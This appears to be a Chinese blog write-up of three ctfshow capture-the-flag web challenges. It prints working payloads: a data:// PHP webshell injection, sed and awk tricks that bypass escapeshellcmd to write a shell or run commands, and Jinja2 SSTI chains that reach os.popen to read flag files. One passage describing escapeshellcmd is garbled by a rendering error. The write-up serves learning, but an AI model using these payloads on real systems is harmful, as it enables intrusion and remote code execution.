Ctfshow [单身杯]

web签到

<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }
}
http://2f8afaaf-41c0-440d-83fd-c7d2cf5c0d56.challenge.ctf.show/?1=cat /f1agaaa;

file=data://text/plain,<?php system($_GET[1]);?>>?;)]1[TEG_$(metsys php?<,nialp/txet//:atad

data伪协议直接用 ?>截断就行

easyPHP

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
    $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
    shell_exec($cmd);
}

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}KaTeX parse error: Undefined control sequence: \x at position 4: `, \̲x̲0A 和 \xFF。 ' 和 …`, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。此函数保证用户输入的数据在传送到shell函数之前进行转义。

escapeshellarg

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

sed

方法1

sed ‘s/shell_exec/system/g;/esca/d;w 1.php’ index.php

cmd=sed&param=s/shell_exec/system/g;/esca/d;w 1.php

在这里插入图片描述

方法2

sed ‘/php|POST|exec/ w 2.php’ index.php

cmd=sed&param=/php|POST|exec/ w 2.php

awk

方法3

awk ‘{system(“ls / >b”)}’ index.php

cmd=awk&param={system(“ls / >b”)}

cmd=awk&param={system(“cat /f1agaaa>b”)}

姻缘测试

传入参数发现是SSTI类题目,并且对{}进行了过滤

<!-- /source -->
def is_hacker(string): 
"""整那些个花里胡哨的waf有啥用,
还不如这一个,
直接杜绝SSTI""" 
if "{" in string and "}" in string : 
	return True 
else: return False

想法是将{ }分为两部分分别放在参数boy_name和girl_name

在这里插入图片描述

payload

1.
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}
2.
?boy_name={%print('&girl_name=%s'|format(().__class__.__bases__[0].__subclasses__()[99].get_data(0, "/flag.txt")))%}
boy_name={%print('&girl_name=%s'|format(().__class__.__bases__[0].__subclasses__()[99].get_data(0, "/flag.txt")))%}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值